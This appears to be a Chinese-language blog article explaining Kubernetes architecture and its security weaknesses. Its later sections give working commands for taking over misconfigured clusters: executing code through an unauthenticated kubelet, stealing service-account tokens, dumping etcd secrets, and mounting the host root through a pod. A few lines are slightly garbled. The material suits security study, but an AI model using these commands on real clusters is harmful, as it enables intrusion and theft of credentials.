淺談云安全之K8S
k8s是什么?
Kubernetes 是一個可移植的,可擴展的開源容器編排平臺,用于管理容器化的工作負載和服務,方便了聲明式配置和自動化。它擁有一個龐大且快速增長的生態系統。Kubernetes 的服務,支持和工具廣泛可用。
為什么現在流行使用容器?
早期: 在物理服務器上面部署應用程序存在資源分配問題,因為其不能在物理服務器中的應用程序定義資源邊界,導致應用程序資源利用不足而無法擴展.
后來: 為了解決該問題,引入了虛擬化技術, 虛擬化技術是指允許你在單個物理服務器的 CPU 上運行多個虛擬機,可以讓多個應用程序在虛擬機之間進行隔離,具有一定的安全型, 每一個虛擬機就是一臺完整的計算機, 在虛擬化硬件之上運行所有組件.
現在: 多數在物理服務器上面部署應用程序都是采kubectl用容器的方式,容器類似于虛擬機,他們都具有自己的文件系統、CPU、內存、進程空間等, 且由于它們與基礎架構分離,因此可以跨云和 OS 發行版本進行移植。基于此點被企業大范圍使用.
為什么需要使用k8s容器?
若出現這樣一個環境: 在生產環境中如果一個容器發生故障,則我們需要手動去啟動另外一個容器,這樣的操作是對我們的管理員來說是不太方便的, 若一個容器出現故障,另一個容器可以自動啟動容器接管故障的容器,這樣是最好的.
k8s就可以實現該效果,Kubernetes 提供了一個可彈性運行分布式系統的框架。 Kubernetes 會滿足你的擴展要求、故障轉移、部署模式等。
k8s功能: 服務發現和負載均衡, 存儲編排, 自動部署和回滾, 自動完成裝箱計算, 自我修復, 密鑰與配置管理
名詞解釋
secret
Secret有三種類型:
- Service Account:用來訪問Kubernetes API,由Kubernetes自動創建,并且會自動掛載到Pod的
/run/secrets/kubernetes.io/serviceaccount目錄中; - Opaque:base64編碼格式的Secret,用來存儲密碼、密鑰等;
- kubernetes.io/dockerconfigjson:用來存儲私有docker registry的認證信息。
k8s的組成
k8s是由組件,API,對象等組成.
包含所有相互關聯組件的 Kubernetes 集群圖如下:
組件
- 控制平面組件
- kube-apiserver: 為k8s的api服務器,公開了所有Kubernetes API, 其他所有組件都必須通過它提供的API來操作資源數據.
- 保證集群狀態訪問的安全
- 隔離集群狀態訪問的方式和后端存儲實現的方式:API Server是狀態訪問的方式,不會因為后端存儲技術etcd的改變而改變。
- etcd: 為k8s的鍵值數據庫,保存了k8s所有集群數據的后臺數據庫。
- kube-scheduler: 收集和分析當前Kubernetes集群中所有Node節點的資源(內存、CPU)負載情況,然后依此分發新建的Pod到Kubernetes集群中可用的節點。 kube-controller-manager: 在主節點上運行 控制器 的組件。
- cloud-controller-manager: 云控制器管理器是指嵌入特定云的控制邏輯的 控制平面組件
- Node 組件
- kubelet: 一個在集群中每個節點(node)上運行的代理。 它保證容器(containers)都 運行在 Pod 中。
- kube-proxy: kube-proxy是集群中每個節點上運行的網絡代理,維護節點上的網絡規則。這些網絡規則允許從集群內部或外部的網絡會話與 Pod 進行網絡通信。
- 容器運行時: 負責運行容器的軟件。
- 插件(Addons)
- DNS: 集群 DNS 是一個 DNS 服務器,和環境中的其他 DNS 服務器一起工作,它為 Kubernetes 服務提供 DNS 記錄。
- Web 界面(儀表盤): Dashboard 是Kubernetes 集群的通用的、基于 Web 的用戶界面。
- 容器資源監控: 容器資源監控 將關于容器的一些常見的時間序列度量值保存到一個集中的數據庫中,并提供用于瀏覽這些數據的界面。
- 集群層面日志: 集群層面日志 機制負責將容器的日志數據 保存到一個集中的日志存儲中,該存儲能夠提供搜索和瀏覽接口。
API
Kubernetes 控制面 的核心是 API 服務器。 API 服務器負責提供 HTTP API,以供用戶、集群中的不同部分和集群外部組件相互通信。
對象
Kubernetes對象是Kubernetes系統中的持久實體。Kubernetes使用這些實體來表示集群的狀態.
具體來說,他們可以描述:
- 容器化應用正在運行(以及在哪些節點上)
- 這些應用可用的資源
- 關于這些應用如何運行的策略,如重新策略,升級和容錯
Kubernetes 架構
Kubernetes 架構由節點,控制面到節點通信, 控制器, 云控制器管理器組成.
master 流程圖
- Kubecfg將特定的請求,比如創建Pod,發送給Kubernetes Client。
- Kubernetes Client將請求發送給API server。
- API Server根據請求的類型,比如創建Pod時storage類型是pods,然后依此選擇何種REST Storage API對請求作出處理。
- REST Storage API對的請求作相應的處理。
- 將處理的結果存入高可用鍵值存儲系統Etcd中。
- 在API Server響應Kubecfg的請求后,Scheduler會根據Kubernetes Client獲取集群中運行Pod及Minion/Node信息。
- 依據從Kubernetes Client獲取的信息,Scheduler將未分發的Pod分發到可用的Minion/Node節點上。
節點
節點可以是一個虛擬機或者物理機器,取決于所在的集群配置。 每個節點包含運行 Pods 所需的服務, 這些 Pods 由 控制面 負責管理.
節點上的組件包括 kubelet、 容器運行時以及 kube-proxy。
節點狀態
可以使用 kubectl 來查看節點狀態和其他細節信息:
kubectl describe node <節點名稱>
一個節點包含以下信息:
- 地址
- HostName:由節點的內核設置。可以通過 kubelet 的 —hostname-override 參數覆蓋。
- ExternalIP:通常是節點的可外部路由(從集群外可訪問)的 IP 地址。
- InternalIP:通常是節點的僅可在集群內部路由的 IP 地址。
- 狀況(conditions 字段描述了所有 Running 節點的狀態)
- Ready 如節點是健康的并已經準備好接收 Pod 則為 True;False 表示節點不健康而且不能接收 Pod;Unknown 表示節點控制器在最近 node-monitor-grace-period 期間(默認 40 秒)沒有收到節點的消息
- DiskPressure為True則表示節點的空閑空間不足以用于添加新 Pod, 否則為 False
- MemoryPressure為True則表示節點存在內存壓力,即節點內存可用量低,否則為 False
- PIDPressure為True則表示節點存在進程壓力,即節點上進程過多;否則為 False
- NetworkUnavailable為True則表示節點網絡配置不正確;否則為 False
- 容量與可分配
- 描述節點上的可用資源:CPU、內存和可以調度到節點上的 Pod 的個數上限。
- 信息
- 關于節點的一般性信息,例如內核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系統名稱。這些信息由 kubelet 從節點上搜集而來。
控制面到節點通信
- 節點到控制面
- apiserver在安全的 HTTPS 端口(443)上監聽遠程連接請求
- 以客戶端證書的形式將客戶端憑據提供給 kubelet
- 控制面到節點
- API 服務器到 kubelet連接用于
- 獲取 Pod 日志
- 掛接(通過 kubectl)到運行中的 Pod
- 提供 kubelet 的端口轉發功能。
- (注: 在連接狀態下, 默認apiserver 不檢查 kubelet 的服務證書。容易受到中間人攻擊,不安全.)
- apiserver 到節點、Pod 和服務
- SSH 隧道(目前已經廢棄)
- 產生原因: 若無服務證書, 又要求避免在非受信網絡或公共網絡上進行連接,則可以在apiserver 和 kubelet 之間使用ssh隧道.
- Kubernetes 支持使用 SSH 隧道來保護從控制面到節點的通信路徑。
- Konnectivity 服務
- 為ssh隧道的替代品, Konnectivity 服務提供 TCP 層的代理,以便支持從控制面到集群的通信。
控制器
在 Kubernetes 中,控制器通過監控集群 的公共狀態,并致力于將當前狀態轉變為期望的狀態。
舉個例子: 當前室內溫度為20度, 我們通過調節遙控器,使其溫度上升至24度, 這20度到24度的變化即為讓其從當前狀態接近期望狀態。
控制器模式分為直接控制和通過API服務器來控制.
云控制器管理器
云控制器管理器是指嵌入特定云的控制邏輯的 控制平面組件。 云控制器管理器允許您鏈接聚合到云提供商的應用編程接口中, 并分離出相互作用的組件與您的集群交互的組件。
云控制器管理器中的控制器包括:
- 節點控制器
- 節點控制器負責在云基礎設施中創建了新服務器時為之 創建 節點(Node)對象。 節點控制器從云提供商獲取當前租戶中主機的信息。
- 執行功能:
- 針對控制器通過云平臺驅動的 API 所發現的每個服務器初始化一個 Node 對象
- 利用特定云平臺的信息為 Node 對象添加注解和標簽
- 獲取節點的網絡地址和主機名
- 檢查節點的健康狀況。
- 路由控制器
- Route 控制器負責適當地配置云平臺中的路由,以便 Kubernetes 集群中不同節點上的 容器之間可以相互通信。
- 服務控制器
- 服務(Service)與受控的負載均衡器、 IP 地址、網絡包過濾、目標健康檢查等云基礎設施組件集成。 服務控制器與云驅動的 API 交互,以配置負載均衡器和其他基礎設施組件。
Kubernetes 安全性
云原生安全
云原生安全4個C: 云(Cloud)、集群(Cluster)、容器(Container)和代碼(Code)
云原生安全模型的每一層都是基于下一個最外層,代碼層受益于強大的基礎安全層(云、集群、容器)。我們無法通過在代碼層解決安全問題來為基礎層中糟糕的安全標準提供保護。
基礎設施安全
Kubetnetes 基礎架構關注領域 建議 通過網絡訪問 API 服務(控制平面) 所有對 Kubernetes 控制平面的訪問不允許在 Internet 上公開,同時應由網絡訪問控制列表控制,該列表包含管理集群所需的 IP 地址集。 通過網絡訪問 Node(節點) 節點應配置為 僅能 從控制平面上通過指定端口來接受(通過網絡訪問控制列表)連接,以及接受 NodePort 和 LoadBalancer 類型的 Kubernetes 服務連接。如果可能的話,這些節點不應完全暴露在公共互聯網上。 Kubernetes 訪問云提供商的 API 每個云提供商都需要向 Kubernetes 控制平面和節點授予不同的權限集。為集群提供云提供商訪問權限時,最好遵循對需要管理的資源的最小特權原則。Kops 文檔提供有關 IAM 策略和角色的信息。 訪問 etcd 對 etcd(Kubernetes 的數據存儲)的訪問應僅限于控制平面。根據配置情況,你應該嘗試通過 TLS 來使用 etcd。更多信息可以在 etcd 文檔中找到。 etcd 加密 在所有可能的情況下,最好對所有驅動器進行靜態數據加密,但是由于 etcd 擁有整個集群的狀態(包括機密信息),因此其磁盤更應該進行靜態數據加密。 集群組件安全
- 運行的應用程序的安全性關注領域
- 訪問控制授權(訪問 Kubernetes API)
- 認證方式
- 應用程序 Secret 管理 (并在 etcd 中對其進行靜態數據加密)
- Pod 安全策略
- 服務質量(和集群資源管理)
- 網絡策略
- Kubernetes Ingress 的 TLS 支持
容器安全
- 容器安全性關注領域
- 容器搭建配置(配置不當,危險掛載, 特權用戶)
- 容器服務自身缺陷
- Linux內核漏洞
- 鏡像簽名和執行
代碼安全
- 代碼安全關注領域
- 僅通過 TLS 訪問(流量加密)
- 限制通信端口范圍
- 第三方依賴性安全
- 靜態代碼分析
- 動態探測攻擊(黑盒)
Kubernetes架構常見問題
Kubernetes ATTACK 矩陣
信息泄漏
云賬號AK泄露
API憑證(即阿里云AccessKey)是用戶訪問內部資源最重要的身份憑證。用戶調用API時的通信加密和身份認證會使用API憑證.
API憑證是云上用戶調用云服務API、訪問云上資源的唯一身份憑證。
API憑證相當于登錄密碼,用于程序方式調用云服務API.
k8s configfile泄露
kubeconfig文件所在的位置: $HOME/.kube/config
Kubeconfig文件包含有關Kubernetes集群的詳細信息,包括它們的位置和憑據。
云廠商會給用戶提供該文件,以便于用戶可以通過kubectl對集群進行管理. 如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、泄露到Github的代碼等),就可以直接通過API Server接管K8s集群,帶來風險隱患。
Master節點SSH登錄泄露
常見的容器集群管理方式是通過登錄Master節點或運維跳板機,然后再通過kubectl命令工具來控制k8s。
云服務器提供了通過ssh登陸的形勢進行登陸master節點.
若Master節點SSH連接地址泄漏,攻擊者可對ssh登陸進行爆破,從而登陸上ssh,控制集群.
容器組件未鑒權服務
Kubernetes架構下常見的開放服務指紋如下:
- kube-apiserver: 6443, 8080
- kubectl proxy: 8080, 8081
- kubelet: 10250, 10255, 4149
- dashboard: 30000
- docker api: 2375
- etcd: 2379, 2380
- kube-controller-manager: 10252
- kube-proxy: 10256, 31442
- kube-scheduler: 10251
- weave: 6781, 6782, 6783
- kubeflow-dashboard: 8080
注:前六個重點關注: 一旦被控制可以直接獲取相應容器、相應節點、集群權限的服務
了解各個組件被攻擊時所造成的影響
組件分工圖:
假如用戶想在集群里面新建一個容器集合單元, 流程如下:
- 用戶與 kubectl進行交互,提出需求(例: kubectl create -f pod.yaml)
- kubectl 會讀取 ~/.kube/config 配置,并與 apiserver 進行交互,協議:http/https
- apiserver 會協同 ETCD, kube-controller-manager, scheduler 等組件準備下發新建容器的配置給到節點,協議:http/https
- apiserver 與 kubelet 進行交互,告知其容器創建的需求,協議:http/https;
- kubelet 與Docker等容器引擎進行交互,創建容器,協議:http/unix socket.
- 容器已然在集群節點上創建成功
攻擊apiserver
apiserver介紹:
在Kubernetes中,對于未鑒權對apiserver, 能訪問到 apiserver 一般情況下就能獲取了集群的權限.
在攻擊者眼中Kubernetes APIServer
- 容器編排K8S總控組件
- pods, services, secrets, serviceaccounts, bindings, componentstatuses, configmaps,
- endpoints, events, limitranges, namespaces, nodes, persistentvolumeclaims,
- persistentvolumes, podtemplates, replicationcontrollers, resourcequotas …
- 可控以上所有k8s資源
- 可獲取幾乎所有容器的交互式shell
- 利用一定技巧可獲取所有容器母機的交互式shell
默認情況下apiserver都有鑒權:
未鑒權配置如下:
對于這類的未鑒權的設置來說,訪問到 apiserver 一般情況下就獲取了集群的權限:
如何通過apiserver來進行滲透,可參考:https://Kubernetes.io/docs/reference/generated/kubectl/kubectl-commands
攻擊kubelet
每一個Node節點都有一個kubelet(每個節點上運行的代理)服務,kubelet監聽了10250,10248,10255等端口。
10250端口,是kubelet與apiserver進行通信對主要端口, 通過該端口,kubelet可以知道當前應該處理的任務.該端口在最新版Kubernetes是有鑒權的, 但在開啟了接受匿名請求的情況下,不帶鑒權信息的請求也可以使用10250提供的能力, 在Kubernetes早期,很多挖礦木馬基于該端口進行傳播.
在/var/bin/kubulet/config/yaml配置文件中,若進行如下配置,則可能存在未授權訪問漏洞.
若10250端口存在未授權訪問漏洞,我們可以直接訪問/pods進行查看
根據在pods中獲取的信息,我們可以在容器中執行命令
curl -Gks https://host:10250/exec/{namespace}/{podname}/{containername} \
-d 'input=1' -d 'output=1' -d 'tty=1' \
-d 'command=whoami'
上述命令得到websocket地址,連接websocket得到命令結果:
使用wscat工具連接websocket
wscat -c “https://X.X.X.X:10250/{websocket}” --no-check
即可得到我們執行命令的結果.
獲取token
/var/run/secrets/kubernetes.io/serviceaccount
然后即可訪問kube-api server,獲取集群權限
curl -ks -H "Authorization: Bearer <TOKEN>" \
ttps://master:6443/api/v1/namespaces/{namespace}/secrets
攻擊kubelet總體步驟如下:
- 訪問pods獲取信息
- 獲取namespace、podsname、containername
- 執行exec獲取token
- /var/run/secrets/kubernetes.io/serviceaccount
- 利用Token訪問API Server進行對pods操作。
攻擊dashboard
dashboard登陸鏈接如下: http://xxx.xxx.xxx.xxx:xxxx/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/login
dashboard界面如下:
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當導致dashboard未授權訪問漏洞的情況下,通過dashboard我們可以控制整個集群。
默認情況下, dashboard是需要進行鑒權操作的,當用戶開啟了enable-skip-login時可以在登錄界面點擊Skip跳過登錄進入dashboard.
通過skip登陸的dashboard默認是沒有操作集群的權限,因為Kubernetes使用RBAC(Role-based access control)機制進行身份認證和權限管理,不同的serviceaccount擁有不同的集群權限。
但有些開發者為了方便或者在測試環境中會為Kubernetes-dashboard綁定cluster-admin這個ClusterRole(cluster-admin擁有管理集群的最高權限).
為Kubernetes-dashboard綁定cluster-admin 設置如下:
- 新建dashboard-admin.yaml內容
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: kubernetes-dashboard roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects : kind: ServiceAccount name: kubernetes-dashboard namespace: kubernetes-dashboard
- 執行kubectl create -f dashboard-admin.yaml
后通過skip登陸dashboard便有了管理集群的權限.
創建Pod控制node節點,該pod主要是將宿主機根目錄掛載到容器tmp目錄下。
新建一個Pod如下:
通過該容器的tmp目錄管理node節點的文件
攻擊etcd
Kubernetes默認使用了etcd v3來存儲數據, 若能na
etcd對內暴露2379端口,本地127.0.0.1可免認證訪問. 其他地址要帶—endpoint參數和cert進行認證。
未授權訪問流程:
- 檢查是否正常鏈接
etcdctl endpoint health - 讀取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole - 通過token認證訪問API-Server端口6443,接管集群:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
攻擊docker remote api(Docker daemon公網暴露)
2375是docker遠程操控的默認端口,通過這個端口可以直接對遠程的docker 守護進程進行操作。Docker 守護進程默認監聽2375端口且未鑒權.
當機器以docker daemon -H=0.0.0.0:2375方式啟動daemon時,可以在外部機器對該機器的docker daemon進行直接操作:
之后依次執行systemctl daemon-reload、systemctl restart docker
外部主機使用-H 即可操作暴露2375端口的主機.
因此當你有訪問到目標Docker API 的網絡能力或主機能力的時候,你就擁有了控制當前服務器的能力。我們可以利用Docker API在遠程主機上創建一個特權容器,并且掛載主機根目錄到容器.
檢測目標是否存在docker api未授權訪問漏洞的方式也很簡單,訪問http://[host]:[port]/info路徑是否含有ContainersRunning、DockerRootDir等關鍵字。
攻擊kubectl proxy
二次開發所產生的問題
管理Kubernetes無論是使用 kubectl 或 Kubernetes dashboard 的UI功能,其實都是間接在和 APIServer 做交互.
如果有需求對k8s進行二次開發的話,大部分的開發功能請求了 APIServer 的 Rest API 從而使功能實現的。
例如:
- 給用戶銷毀自己POD的能力
DELETE https://apiserver:8443/api/v1/namespaces/default/pods/sleep-75c6fd99c-g5kss
類似于這樣去調用apiserver, 攻擊者若修改namespace、pod和容器名, 那么即可造成越權.
推薦工具
Kube-Hunter掃描漏洞
kube-hunter是一款用于尋找Kubernetes集群中的安全漏洞掃描器
下載地址: https://github.com/aquasecurity/kube-hunter
CDK(強推)
CDK是一款為容器環境定制的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。
下載地址: https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
參考鏈接
https://developer.aliyun.com/article/765449?groupCode=aliyunsecurity
https://xz.aliyun.com/t/4276#toc-2
https://www.secrss.com/articles/29544
https://kubernetes.io/zh/docs/concepts/workloads/pods/#what-is-a-pod
https://www.huweihuang.com/kubernetes-notes/concepts/architecture/kubernetes-architecture.html
https://www.kubernetes.org.cn/service-account
https://www.aquasec.com/cloud-native-academy/cloud-native-applications/cloud-native-infrastructure/